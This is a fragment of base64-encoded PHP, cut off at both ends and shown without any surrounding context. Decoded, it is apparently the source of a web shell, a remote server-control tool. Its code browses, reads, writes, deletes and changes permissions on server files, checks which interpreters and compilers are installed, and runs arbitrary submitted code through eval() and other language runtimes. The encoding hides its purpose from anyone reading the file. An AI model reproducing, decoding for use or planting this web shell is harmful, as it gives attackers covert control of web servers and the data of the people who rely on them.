y4uJykpeyBpZihpc19kaXIoJHNvdXJjZS4kZikpeyBjb3B5cygkc291cmNlLiRmLCAkdGFyZ2V0LiRmLCAkYyk7IH0gZWxzZXsgaWYoY29weSgkc291cmNlLiRmLCAkdGFyZ2V0LiRmKSkgJGMrKzsgfSB9IH0gY2xvc2VkaXIoJGRoKTsgfSByZXR1cm4gJGM7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfYWxsX2ZpbGVzJykpeyBmdW5jdGlvbiBnZXRfYWxsX2ZpbGVzKCRwYXRoKXsgJHBhdGggPSByZWFscGF0aCgkcGF0aCkuRElSRUNUT1JZX1NFUEFSQVRPUjsgJGZpbGVzID0gZ2xvYigkcGF0aC4nKicpOyBmb3IoJGkgPSAwOyAkaTxjb3VudCgkZmlsZXMpOyAkaSsrKXsgaWYoaXNfZGlyKCRmaWxlc1skaV0pKXsgJHN1YmRpciA9IGdsb2IoJGZpbGVzWyRpXS5ESVJFQ1RPUllfU0VQQVJBVE9SLicqJyk7IGlmKGlzX2FycmF5KCRmaWxlcykgJiYgaXNfYXJyYXkoJHN1YmRpcikpICRmaWxlcyA9IGFycmF5X21lcmdlKCRmaWxlcywgJHN1YmRpcik7IH0gfSByZXR1cm4gJGZpbGVzOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygncmVhZF9maWxlJykpeyBmdW5jdGlvbiByZWFkX2ZpbGUoJGZpbGUpeyAkY29udGVudCA9IGZhbHNlOyBpZigkZmggPSBAZm9wZW4oJGZpbGUsICJyYiIpKXsgJGNvbnRlbnQgPSAiIjsgd2hpbGUoIWZlb2YoJGZoKSl7ICRjb250ZW50IC49IGZyZWFkKCRmaCwgODE5Mik7IH0gfSByZXR1cm4gJGNvbnRlbnQ7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCd3cml0ZV9maWxlJykpeyBmdW5jdGlvbiB3cml0ZV9maWxlKCRmaWxlLCAkY29udGVudCl7IGlmKCRmaCA9IEBmb3BlbigkZmlsZSwgIndiIikpeyBpZihmd3JpdGUoJGZoLCAkY29udGVudCkhPT1mYWxzZSkgcmV0dXJuIHRydWU7IH0gcmV0dXJuIGZhbHNlOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygndmlld19maWxlJykpeyBmdW5jdGlvbiB2aWV3X2ZpbGUoJGZpbGUsICR0eXBlLCAkcHJlc2VydmVUaW1lc3RhbXA9J3RydWUnKXsgJG91dHB1dCA9ICIiOyBpZihpc19maWxlKCRmaWxlKSl7ICRkaXIgPSBkaXJuYW1lKCRmaWxlKTsgJG93bmVyID0gIiI7IGlmKCFpc193aW4oKSl7ICRvd25lciA9ICI8dHI+PHRkPk93bmVyPC90ZD48dGQ+Ii5nZXRfZmlsZW93bmVyKCRmaWxlKS4iPC90ZD48L3RyPiI7IH0gJGltYWdlX2luZm8gPSBAZ2V0aW1hZ2VzaXplKCRmaWxlKTsgJG1pbWVfbGlzdCA9IGdldF9yZXNvdXJjZSgnbWltZScpOyAkbWltZSA9ICIiOyAkZmlsZV9leHRfcG9zID0gc3RycnBvcygkZmlsZSwgIi4iKTsgaWYoJGZpbGVfZXh0X3BvcyE9PWZhbHNlKXsgJGZpbGVfZXh0ID0gdHJpbShzdWJzdHIoJGZpbGUsICRmaWxlX2V4dF9wb3MpLCIuIik7IGlmKHByZWdfbWF0Y2goIi8oW15cc10rKVwgLipcYiIuJGZpbGVfZXh0LiJcYi4qL2kiLCAkbWltZV9saXN0LCAkcmVzKSl7ICRtaW1lID0gJHJlc1sxXTsgfSB9IGlmKCR0eXBlPT0iYXV0byIpeyBpZihpc19hcnJheSgkaW1hZ2VfaW5mbykpICR0eXBlID0gJ2ltYWdlJzsgZWxzZWlmKCFlbXB0eSgkbWltZSkpICR0eXBlID0gIm11bHRpbWVkaWEiOyBlbHNlICR0eXBlID0gInJhdyI7IH0gJGNvbnRlbnQgPSAiIjsgaWYoJHR5cGU9PSJjb2RlIil7ICRobF9hcnIgPSBhcnJheSggImhsX2RlZmF1bHQiPT4gaW5pX2dldCgnaGlnaGxpZ2h0LmRlZmF1bHQnKSwgImhsX2tleXdvcmQiPT4gaW5pX2dldCgnaGlnaGxpZ2h0LmtleXdvcmQnKSwgImhsX3N0cmluZyI9PiBpbmlfZ2V0KCdoaWdobGlnaHQuc3RyaW5nJyksICJobF9odG1sIj0+IGluaV9nZXQoJ2hpZ2hsaWdodC5odG1sJyksICJobF9jb21tZW50Ij0+IGluaV9nZXQoJ2hpZ2hsaWdodC5jb21tZW50JykgKTsgJGNvbnRlbnQgPSBoaWdobGlnaHRfc3RyaW5nKHJlYWRfZmlsZSgkZmlsZSksdHJ1ZSk7IGZvcmVhY2goJGhsX2FyciBhcyAkaz0+JHYpeyAkY29udGVudCA9IHN0cl9yZXBsYWNlKCI8Zm9udCBjb2xvcj1cIiIuJHYuIlwiPiIsICI8Zm9udCBjbGFzcz0nIi4kay4iJz4iLCAkY29udGVudCk7ICRjb250ZW50ID0gc3RyX3JlcGxhY2UoIjxzcGFuIHN0eWxlPVwiY29sb3I6ICIuJHYuIlwiPiIsICI8c3BhbiBjbGFzcz0nIi4kay4iJz4iLCAkY29udGVudCk7IH0gfSBlbHNlaWYoJHR5cGU9PSJpbWFnZSIpeyAkd2lkdGggPSAoaW50KSAkaW1hZ2VfaW5mb1swXTsgJGhlaWdodCA9IChpbnQpICRpbWFnZV9pbmZvWzFdOyAkaW1hZ2VfaW5mb19oID0gIkltYWdlIHR5cGUgPSA8c3BhbiBjbGFzcz0nc3Ryb25nJz4oPC9zcGFuPiAiLiRpbWFnZV9pbmZvWydtaW1lJ10uIiA8c3BhbiBjbGFzcz0nc3Ryb25nJz4pPC9zcGFuPjxicj4gSW1hZ2UgU2l6ZSA9IDxzcGFuIGNsYXNzPSdzdHJvbmcnPiggPC9zcGFuPiIuJHdpZHRoLiIgeCAiLiRoZWlnaHQuIjxzcGFuIGNsYXNzPSdzdHJvbmcnPiApPC9zcGFuPjxicj4iOyBpZigkd2lkdGggPiA4MDApeyAkd2lkdGggPSA4MDA7ICRpbWdsaW5rID0gIjxwPjxhIGlkPSd2aWV3RnVsbHNpemUnPiA8c3BhbiBjbGFzcz0nc3Ryb25nJz5bIDwvc3Bhbj5WaWV3IEZ1bGwgU2l6ZTxzcGFuIGNsYXNzPSdzdHJvbmcnPiBdPC9zcGFuPjwvYT48L3A+IjsgfSBlbHNlICRpbWdsaW5rID0gIiI7ICRjb250ZW50ID0gIjxjZW50ZXI+Ii4kaW1hZ2VfaW5mb19oLiI8YnI+Ii4kaW1nbGluay4iIDxpbWcgaWQ9J3ZpZXdJbWFnZScgc3R5bGU9J3dpZHRoOiIuJHdpZHRoLiJweDsnIHNyYz0nZGF0YToiLiRpbWFnZV9pbmZvWydtaW1lJ10uIjtiYXNlNjQsIi5iYXNlNjRfZW5jb2RlKHJlYWRfZmlsZSgkZmlsZSkpLiInIGFsdD0nIi4kZmlsZS4iJz48L2NlbnRlcj4gIjsgfSBlbHNlaWYoJHR5cGU9PSJtdWx0aW1lZGlhIil7ICRjb250ZW50ID0gIjxjZW50ZXI+IDx2aWRlbyBjb250cm9scz4gPHNvdXJjZSBzcmM9JycgdHlwZT0nIi4kbWltZS4iJz4gPC92aWRlbz4gPHA+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cIm11bHRpbWVkaWEoJyIuaHRtbF9zYWZlKGFkZHNsYXNoZXMoJGZpbGUpKS4iJyk7XCI+TG9hZCBNdWx0aW1lZGlhIEZpbGU8L3NwYW4+PC9wPiA8L2NlbnRlcj4iOyB9IGVsc2VpZigkdHlwZT09ImVkaXQiKXsgJHByZXNlcnZlY2JveCA9ICgkcHJlc2VydmVUaW1lc3RhbXA9PSd0cnVlJyk/ICIgY0JveFNlbGVjdGVkIjoiIjsgJGNvbnRlbnQgPSAiPHRhYmxlIGlkPSdlZGl0VGJsJz48dHI+PHRkIGNvbHNwYW49JzInPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZWRpdEZpbGVuYW1lJyBjbGFzcz0nY29sU3BhbicgdmFsdWU9JyIuaHRtbF9zYWZlKCRmaWxlKS4iJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZWRpdF9zYXZlX3JhdycpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJlZGl0X3NhdmVfcmF3KCk7XCI+c2F2ZTwvc3Bhbj48L3RkPjx0ZCBzdHlsZT0ndmVydGljYWwtYWxpZ246bWlkZGxlOyc+PGRpdiBjbGFzcz0nY0JveCIuJHByZXNlcnZlY2JveC4iJz48L2Rpdj48c3Bhbj5wcmVzZXJ2ZSBtb2RpZmljYXRpb24gdGltZXN0YW1wPC9zcGFuPjxzcGFuIGlkPSdlZGl0UmVzdWx0Jz48L3NwYW4+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIGlkPSdlZGl0SW5wdXQnIHNwZWxsY2hlY2s9J2ZhbHNlJyBvbmtleWRvd249XCJ0cmFwX2N0cmxfZW50ZXIodGhpcywgZXZlbnQsICdlZGl0X3NhdmVfcmF3Jyk7XCI+Ii5odG1sX3NhZmUocmVhZF9maWxlKCRmaWxlKSkuIjwvdGV4dGFyZWE+PC90ZD48L3RyPjwvdGFibGU+IjsgfSBlbHNlaWYoJHR5cGU9PSJoZXgiKXsgJHByZXNlcnZlY2JveCA9ICgkcHJlc2VydmVUaW1lc3RhbXA9PSd0cnVlJyk/ICIgY0JveFNlbGVjdGVkIjoiIjsgJGNvbnRlbnQgPSAiPHRhYmxlIGlkPSdlZGl0VGJsJz48dHI+PHRkIGNvbHNwYW49JzInPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZWRpdEZpbGVuYW1lJyBjbGFzcz0nY29sU3BhbicgdmFsdWU9JyIuaHRtbF9zYWZlKCRmaWxlKS4iJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZWRpdF9zYXZlX2hleCcpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJlZGl0X3NhdmVfaGV4KCk7XCI+c2F2ZTwvc3Bhbj48L3RkPjx0ZCBzdHlsZT0ndmVydGljYWwtYWxpZ246bWlkZGxlOyc+PGRpdiBjbGFzcz0nY0JveCIuJHByZXNlcnZlY2JveC4iJz48L2Rpdj48c3Bhbj5wcmVzZXJ2ZSBtb2RpZmljYXRpb24gdGltZXN0YW1wPC9zcGFuPjxzcGFuIGlkPSdlZGl0SGV4UmVzdWx0Jz48L3NwYW4+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIGlkPSdlZGl0SW5wdXQnIHNwZWxsY2hlY2s9J2ZhbHNlJyBvbmtleWRvd249XCJ0cmFwX2N0cmxfZW50ZXIodGhpcywgZXZlbnQsICdlZGl0X3NhdmVfaGV4Jyk7XCI+Ii5iaW4yaGV4KHJlYWRfZmlsZSgkZmlsZSkpLiI8L3RleHRhcmVhPjwvdGQ+PC90cj48L3RhYmxlPiI7IH0gZWxzZSAkY29udGVudCA9ICI8cHJlPiIuaHRtbF9zYWZlKHJlYWRfZmlsZSgkZmlsZSkpLiI8L3ByZT4iOyAkb3V0cHV0IC49ICIgPHRhYmxlIGlkPSd2aWV3RmlsZScgY2xhc3M9J2JveHRibCc+IDx0cj48dGQgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+RmlsZW5hbWU8L3RkPjx0ZD4iLmh0bWxfc2FmZSgkZmlsZSkuIjwvdGQ+PC90cj4gPHRyPjx0ZD5TaXplPC90ZD48dGQ+Ii5nZXRfZmlsZXNpemUoJGZpbGUpLiIgKCIuZmlsZXNpemUoJGZpbGUpLiIpPC90ZD48L3RyPiAiLiRvd25lci4iIDx0cj48dGQ+UGVybWlzc2lvbjwvdGQ+PHRkPiIuZ2V0X2ZpbGVwZXJtcygkZmlsZSkuIjwvdGQ+PC90cj4gPHRyPjx0ZD5DcmVhdGUgdGltZTwvdGQ+PHRkPiIuQGRhdGUoImQtTS1ZIEg6aTpzIixmaWxlY3RpbWUoJGZpbGUpKS4iPC90ZD48L3RyPiA8dHI+PHRkPkxhc3QgbW9kaWZpZWQ8L3RkPjx0ZD4iLkBkYXRlKCJkLU0tWSBIOmk6cyIsZmlsZW10aW1lKCRmaWxlKSkuIjwvdGQ+PC90cj4gPHRyPjx0ZD5MYXN0IGFjY2Vzc2VkPC90ZD48dGQ+Ii5AZGF0ZSgiZC1NLVkgSDppOnMiLGZpbGVhdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+IDx0ciBkYXRhLXBhdGg9JyIuaHRtbF9zYWZlKCRmaWxlKS4iJz48dGQgY29sc3Bhbj0nMic+IDxzcGFuIGNsYXNzPSduYXZpZ2F0ZSBidXR0b24nIHN0eWxlPSd3aWR0aDoxMjBweDsnPmV4cGxvcmVyPC9zcGFuPiA8c3BhbiBjbGFzcz0nYWN0aW9uIGJ1dHRvbicgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+YWN0aW9uPC9zcGFuPiA8c3BhbiBjbGFzcz0nYnV0dG9uJyBzdHlsZT0nd2lkdGg6MTIwcHg7JyBvbmNsaWNrPVwidmlldygnIi5odG1sX3NhZmUoYWRkc2xhc2hlcygkZmlsZSkpLiInLCAncmF3Jyk7aGlkZV9ib3goKTtcIj5yYXc8L3NwYW4+IDxzcGFuIGNsYXNzPSdidXR0b24nIHN0eWxlPSd3aWR0aDoxMjBweDsnIG9uY2xpY2s9XCJ2aWV3KCciLmh0bWxfc2FmZShhZGRzbGFzaGVzKCRmaWxlKSkuIicsICdjb2RlJyk7aGlkZV9ib3goKTtcIj5jb2RlPC9zcGFuPiA8c3BhbiBjbGFzcz0nYnV0dG9uJyBzdHlsZT0nd2lkdGg6MTIwcHg7JyBvbmNsaWNrPVwidmlldygnIi5odG1sX3NhZmUoYWRkc2xhc2hlcygkZmlsZSkpLiInLCAnaGV4Jyk7aGlkZV9ib3goKTtcIj5oZXg8L3NwYW4+IDxzcGFuIGNsYXNzPSdidXR0b24nIHN0eWxlPSd3aWR0aDoxMjBweDsnIG9uY2xpY2s9XCJ2aWV3KCciLmh0bWxfc2FmZShhZGRzbGFzaGVzKCRmaWxlKSkuIicsICdpbWFnZScpO2hpZGVfYm94KCk7XCI+aW1hZ2U8L3NwYW4+IDxzcGFuIGNsYXNzPSdidXR0b24nIHN0eWxlPSd3aWR0aDoxMjBweDsnIG9uY2xpY2s9XCJ2aWV3KCciLmh0bWxfc2FmZShhZGRzbGFzaGVzKCRmaWxlKSkuIicsICdtdWx0aW1lZGlhJyk7aGlkZV9ib3goKTtcIj5tdWx0aW1lZGlhPC9zcGFuPiA8L3RkPjwvdHI+IDx0cj48dGQgY29sc3Bhbj0nMic+PGRpdiBpZD0ndmlld0ZpbGVjb250ZW50Jz4iLiRjb250ZW50LiI8L2Rpdj48L3RkPjwvdHI+IDwvdGFibGU+IjsgfSBlbHNlICRvdXRwdXQgPSAiZXJyb3IiOyByZXR1cm4gJG91dHB1dDsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF93cml0YWJsZWRpcicpKXsgZnVuY3Rpb24gZ2V0X3dyaXRhYmxlZGlyKCl7IGlmKGlzX3dyaXRhYmxlKCIuIikpIHJldHVybiByZWFscGF0aCgiLiIpLkRJUkVDVE9SWV9TRVBBUkFUT1I7IGVsc2V7IGZvcmVhY2goYXJyYXkoJ1RNUCcsICdURU1QJywgJ1RNUERJUicpIGFzICRrKXsgaWYoIWVtcHR5KCRfRU5WWyRrXSkpeyBpZihpc193cml0YWJsZSgkX0VOVlska10pKSByZXR1cm4gcmVhbHBhdGgoJF9FTlZbJGtdKS5ESVJFQ1RPUllfU0VQQVJBVE9SOyB9IH0gaWYoZnVuY3Rpb25fZXhpc3RzKCJzeXNfZ2V0X3RlbXBfZGlyIikpeyAkZGlyID0gc3lzX2dldF90ZW1wX2RpcigpOyBpZihpc193cml0YWJsZSgkZGlyKSkgcmV0dXJuIHJlYWxwYXRoKCRkaXIpLkRJUkVDVE9SWV9TRVBBUkFUT1I7IH0gZWxzZXsgaWYoIWlzX3dpbigpKXsgaWYoaXNfd3JpdGFibGUoIi90bXAiKSkgcmV0dXJuICIvdG1wLyI7IH0gfSAkdGVtcGZpbGUgPSB0ZW1wbmFtKF9fRklMRV9fLCcnKTsgaWYoZmlsZV9leGlzdHMoJHRlbXBmaWxlKSl7ICRkaXIgPSByZWFscGF0aChkaXJuYW1lKCR0ZW1wZmlsZSkpLkRJUkVDVE9SWV9TRVBBUkFUT1I7IHVubGluaygkdGVtcGZpbGUpOyByZXR1cm4gJGRpcjsgfSB9IHJldHVybiBmYWxzZTsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9kcml2ZXMnKSl7IGZ1bmN0aW9uIGdldF9kcml2ZXMoKXsgJGRyaXZlcyA9ICIiOyAkdiA9IGV4cGxvZGUoIlxcIiwgZ2V0X2N3ZCgpKTsgJHYgPSAkdlswXTsgZm9yZWFjaCAocmFuZ2UoIkEiLCAiWiIpIGFzICRsZXR0ZXIpeyBpZihAaXNfcmVhZGFibGUoJGxldHRlci4iOlxcIikpeyAkZHJpdmVzIC49ICI8YSBjbGFzcz0nbmF2YmFyJyBkYXRhLXBhdGg9JyIuJGxldHRlci4iOlxcJz5bICI7IGlmKCRsZXR0ZXIuIjoiICE9ICR2KSAkZHJpdmVzIC49ICRsZXR0ZXI7IGVsc2V7JGRyaXZlcyAuPSAiPHNwYW4gY2xhc3M9J2RyaXZlLWxldHRlcic+Ii4kbGV0dGVyLiI8L3NwYW4+Ijt9ICRkcml2ZXMgLj0gIiBdPC9hPiAiOyB9IH0gcmV0dXJuICRkcml2ZXM7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdzaG93X2FsbF9maWxlcycpKXsgZnVuY3Rpb24gc2hvd19hbGxfZmlsZXMoJHBhdGgpeyBpZighaXNfZGlyKCRwYXRoKSkgcmV0dXJuICJObyBzdWNoIGRpcmVjdG9yeSA6ICIuJHBhdGg7IGNoZGlyKCRwYXRoKTsgJG91dHB1dCA9ICIiOyAkYWxsZmlsZXMgPSAkYWxsZm9sZGVycyA9IGFycmF5KCk7IGlmKCRyZXMgPSBvcGVuZGlyKCRwYXRoKSl7IHdoaWxlKCRmaWxlID0gcmVhZGRpcigkcmVzKSl7IGlmKCgkZmlsZSE9Jy4nKSYmKCRmaWxlIT0iLi4iKSl7IGlmKGlzX2RpcigkZmlsZSkpICRhbGxmb2xkZXJzW10gPSAkZmlsZTsgZWxzZWlmKGlzX2ZpbGUoJGZpbGUpKSRhbGxmaWxlc1tdID0gJGZpbGU7IH0gfSB9IGFycmF5X3Vuc2hpZnQoJGFsbGZvbGRlcnMsICIuIik7ICRjdXIgPSBnZXRjd2QoKTsgY2hkaXIoIi4uIik7IGlmKGdldGN3ZCgpIT0kY3VyKSBhcnJheV91bnNoaWZ0KCRhbGxmb2xkZXJzLCAiLi4iKTsgY2hkaXIoJGN1cik7IG5hdGNhc2Vzb3J0KCRhbGxmb2xkZXJzKTsgbmF0Y2FzZXNvcnQoJGFsbGZpbGVzKTsgJGNvbHMgPSBhcnJheSgpOyBpZihpc193aW4oKSl7ICRjb2xzID0gYXJyYXkoICJwZXJtcyI9PiJnZXRfZmlsZXBlcm1zIiwgIm1vZGlmaWVkIj0+ImdldF9maWxlbXRpbWUiICk7IH0gZWxzZXsgJGNvbHMgPSBhcnJheSggIm93bmVyIj0+ImdldF9maWxlb3duZXIiLCAicGVybXMiPT4iZ2V0X2ZpbGVwZXJtcyIsICJtb2RpZmllZCI9PiJnZXRfZmlsZW10aW1lIiApOyB9ICR0b3RhbEZpbGVzID0gY291bnQoJGFsbGZpbGVzKTsgJHRvdGFsRm9sZGVycyA9IDA7ICRvdXRwdXQgLj0gIjx0YWJsZSBpZD0neHBsVGFibGUnIGNsYXNzPSdkYXRhVmlldyBzb3J0YWJsZSc+PHRoZWFkPiI7ICRvdXRwdXQgLj0gIjx0cj48dGggY2xhc3M9J2NvbC1jYm94IHNvcnR0YWJsZV9ub3NvcnQnPjxkaXYgY2xhc3M9J2NCb3hBbGwnPjwvZGl2PjwvdGg+PHRoIGNsYXNzPSdjb2wtbmFtZSc+bmFtZTwvdGg+PHRoIGNsYXNzPSdjb2wtc2l6ZSc+c2l6ZTwvdGg+IjsgZm9yZWFjaCgkY29scyBhcyAkaz0+JHYpeyAkb3V0cHV0IC49ICI8dGggY2xhc3M9J2NvbC0iLiRrLiInPiIuJGsuIjwvdGg+IjsgfSAkb3V0cHV0IC49ICI8L3RyPjwvdGhlYWQ+PHRib2R5PiI7IGZvcmVhY2goJGFsbGZvbGRlcnMgYXMgJGQpeyAkY2JveEV4Y2VwdGlvbiA9ICIiOyBpZigoJGQ9PSIuIil8fCgkZD09Ii4uIikpeyAkYWN0aW9uID0gImFjdGlvbmRvdCI7ICRjYm94RXhjZXB0aW9uID0gIiBjQm94RXhjZXB0aW9uIjsgfSBlbHNleyAkYWN0aW9uID0gImFjdGlvbmZvbGRlciI7ICR0b3RhbEZvbGRlcnMrKzsgfSAkb3V0cHV0IC49ICIgPHRyIGRhdGEtcGF0aD1cIiIuaHRtbF9zYWZlKHJlYWxwYXRoKCRkKS5ESVJFQ1RPUllfU0VQQVJBVE9SKS4iXCI+PHRkPjxkaXYgY2xhc3M9J2NCb3giLiRjYm94RXhjZXB0aW9uLiInPjwvZGl2PjwvdGQ+IDx0ZCBzdHlsZT0nd2hpdGUtc3BhY2U6bm9ybWFsOyc+PGEgY2xhc3M9J25hdmlnYXRlJz5bICIuaHRtbF9zYWZlKCRkKS4iIF08L2E+PHNwYW4gY2xhc3M9JyIuJGFjdGlvbi4iIGZsb2F0UmlnaHQnPmFjdGlvbjwvc3Bhbj48L3RkPiA8dGQ+RElSPC90ZD4iOyBmb3JlYWNoKCRjb2xzIGFzICRrPT4kdil7ICRzb3J0YWJsZSA9ICIiOyBpZigkaz09J21vZGlmaWVkJykgJHNvcnRhYmxlID0gIiB0aXRsZT0nIi5maWxlbXRpbWUoJGQpLiInIjsgJG91dHB1dCAuPSAiPHRkIi4kc29ydGFibGUuIj4iLiR2KCRkKS4iPC90ZD4iOyB9ICRvdXRwdXQgLj0gIjwvdHI+IjsgfSBmb3JlYWNoKCRhbGxmaWxlcyBhcyAkZil7ICRvdXRwdXQgLj0gIiA8dHIgZGF0YS1wYXRoPVwiIi5odG1sX3NhZmUocmVhbHBhdGgoJGYpKS4iXCI+PHRkPjxkaXYgY2xhc3M9J2NCb3gnPjwvZGl2PjwvdGQ+IDx0ZCBzdHlsZT0nd2hpdGUtc3BhY2U6bm9ybWFsOyc+PGEgY2xhc3M9J3ZpZXcnPiIuaHRtbF9zYWZlKCRmKS4iPC9hPjxzcGFuIGNsYXNzPSdhY3Rpb24gZmxvYXRSaWdodCc+YWN0aW9uPC9zcGFuPjwvdGQ+IDx0ZCB0aXRsZT0nIi5maWxlc2l6ZSgkZikuIic+Ii5nZXRfZmlsZXNpemUoJGYpLiI8L3RkPiI7IGZvcmVhY2goJGNvbHMgYXMgJGs9PiR2KXsgJHNvcnRhYmxlID0gIiI7IGlmKCRrPT0nbW9kaWZpZWQnKSAkc29ydGFibGUgPSAiIHRpdGxlPSciLmZpbGVtdGltZSgkZikuIiciOyAkb3V0cHV0IC49ICI8dGQiLiRzb3J0YWJsZS4iPiIuJHYoJGYpLiI8L3RkPiI7IH0gJG91dHB1dCAuPSAiPC90cj4iOyB9ICRvdXRwdXQgLj0gIjwvdGJvZHk+PHRmb290PiI7ICRjb2xzcGFuID0gMSArIGNvdW50KCRjb2xzKTsgJG91dHB1dCAuPSAiPHRyPjx0ZD48ZGl2IGNsYXNzPSdjQm94QWxsJz48L2Rpdj48L3RkPjx0ZD4gPHNlbGVjdCBpZD0nbWFzc0FjdGlvbicgY2xhc3M9J2NvbFNwYW4nPiA8b3B0aW9uIGRpc2FibGVkIHNlbGVjdGVkPkFjdGlvbjwvb3B0aW9uPiA8b3B0aW9uPmN1dDwvb3B0aW9uPiA8b3B0aW9uPmNvcHk8L29wdGlvbj4gPG9wdGlvbj5wYXN0ZTwvb3B0aW9uPiA8b3B0aW9uPmRlbGV0ZTwvb3B0aW9uPiA8b3B0aW9uIGRpc2FibGVkPi0tLS0tLS0tLS0tLTwvb3B0aW9uPiA8b3B0aW9uPmNobW9kPC9vcHRpb24+IDxvcHRpb24+Y2hvd248L29wdGlvbj4gPG9wdGlvbj50b3VjaDwvb3B0aW9uPiA8b3B0aW9uIGRpc2FibGVkPi0tLS0tLS0tLS0tLTwvb3B0aW9uPiA8b3B0aW9uPmV4dHJhY3QgKHRhcik8L29wdGlvbj4gPG9wdGlvbj5leHRyYWN0ICh0YXIuZ3opPC9vcHRpb24+IDxvcHRpb24+ZXh0cmFjdCAoemlwKTwvb3B0aW9uPiA8b3B0aW9uIGRpc2FibGVkPi0tLS0tLS0tLS0tLTwvb3B0aW9uPiA8b3B0aW9uPmNvbXByZXNzICh0YXIpPC9vcHRpb24+IDxvcHRpb24+Y29tcHJlc3MgKHRhci5neik8L29wdGlvbj4gPG9wdGlvbj5jb21wcmVzcyAoemlwKTwvb3B0aW9uPiA8b3B0aW9uIGRpc2FibGVkPi0tLS0tLS0tLS0tLTwvb3B0aW9uPiA8L3NlbGVjdD4gPC90ZD48dGQgY29sc3Bhbj0nIi4kY29sc3Bhbi4iJz48L3RkPjwvdHI+IDx0cj48dGQ+PC90ZD48dGQgY29sc3Bhbj0nIi4rKyRjb2xzcGFuLiInPiIuJHRvdGFsRmlsZXMuIiBmaWxlKHMpLCAiLiR0b3RhbEZvbGRlcnMuIiBGb2xkZXIocyk8c3BhbiBjbGFzcz0neHBsU2VsZWN0ZWQnPjwvc3Bhbj48L3RkPjwvdHI+ICI7ICRvdXRwdXQgLj0gIjwvdGZvb3Q+PC90YWJsZT4iOyByZXR1cm4gJG91dHB1dDsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2V2YWxfZ2V0X3N1cHBvcnRlZCcpKXsgZnVuY3Rpb24gZXZhbF9nZXRfc3VwcG9ydGVkKCl7ICRldmFsX3N1cHBvcnRlZCA9IGFycmF5KCk7ICRldmFsX3N1cHBvcnRlZFtdID0gInBocCI7ICRjaGVjayA9IHN0cnRvbG93ZXIoZXhlY3V0ZSgicHl0aG9uIC1oIikpOyBpZihzdHJwb3MoJGNoZWNrLCJ1c2FnZSIpIT09ZmFsc2UpICRldmFsX3N1cHBvcnRlZFtdID0gInB5dGhvbiI7ICRjaGVjayA9IHN0cnRvbG93ZXIoZXhlY3V0ZSgicGVybCAtaCIpKTsgaWYoc3RycG9zKCRjaGVjaywidXNhZ2UiKSE9PWZhbHNlKSAkZXZhbF9zdXBwb3J0ZWRbXSA9ICJwZXJsIjsgJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJydWJ5IC1oIikpOyBpZihzdHJwb3MoJGNoZWNrLCJ1c2FnZSIpIT09ZmFsc2UpICRldmFsX3N1cHBvcnRlZFtdID0gInJ1YnkiOyAkY2hlY2sgPSBzdHJ0b2xvd2VyKGV4ZWN1dGUoIm5vZGUgLWgiKSk7IGlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAibm9kZSI7IGVsc2V7ICRjaGVjayA9IHN0cnRvbG93ZXIoZXhlY3V0ZSgibm9kZWpzIC1oIikpOyBpZihzdHJwb3MoJGNoZWNrLCJ1c2FnZSIpIT09ZmFsc2UpICRldmFsX3N1cHBvcnRlZFtdID0gIm5vZGVqcyI7IH0gJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJnY2MgLS1oZWxwIikpOyBpZihzdHJwb3MoJGNoZWNrLCJ1c2FnZSIpIT09ZmFsc2UpICRldmFsX3N1cHBvcnRlZFtdID0gImdjYyI7ICRjaGVjayA9IHN0cnRvbG93ZXIoZXhlY3V0ZSgiamF2YSAtaGVscCIpKTsgaWYoc3RycG9zKCRjaGVjaywidXNhZ2UiKSE9PWZhbHNlKXsgJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJqYXZhYyAtaGVscCIpKTsgaWYoc3RycG9zKCRjaGVjaywidXNhZ2UiKSE9PWZhbHNlKSAkZXZhbF9zdXBwb3J0ZWRbXSA9ICJqYXZhIjsgfSByZXR1cm4gaW1wbG9kZSgiLCIsICRldmFsX3N1cHBvcnRlZCk7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdldmFsX2dvJykpeyBmdW5jdGlvbiBldmFsX2dvKCRldmFsVHlwZSwgJGV2YWxDb2RlLCAkZXZhbE9wdGlvbnMsICRldmFsQXJndW1lbnRzKXsgJHJlcyA9ICIiOyAkb3V0cHV0ID0gIiI7IGlmKCRldmFsT3B0aW9ucyE9IiIpICRldmFsT3B0aW9ucyA9ICRldmFsT3B0aW9ucy4iICI7IGlmKCRldmFsQXJndW1lbnRzIT0iIikgJGV2YWxBcmd1bWVudHMgPSAiICIuJGV2YWxBcmd1bWVudHM7IGlmKCRldmFsVHlwZT09InBocCIpeyBvYl9zdGFydCgpOyBldmFsKCRldmFsQ29kZSk7ICRyZXMgPSBvYl9nZXRfY29udGVudHMoKTsgb2JfZW5kX2NsZWFuKCk7IHJldHVybiAkcmVzOyB9IGVsc2VpZigoJGV2YWxUeXBlPT0icHl0aG9uIil8fCgkZXZ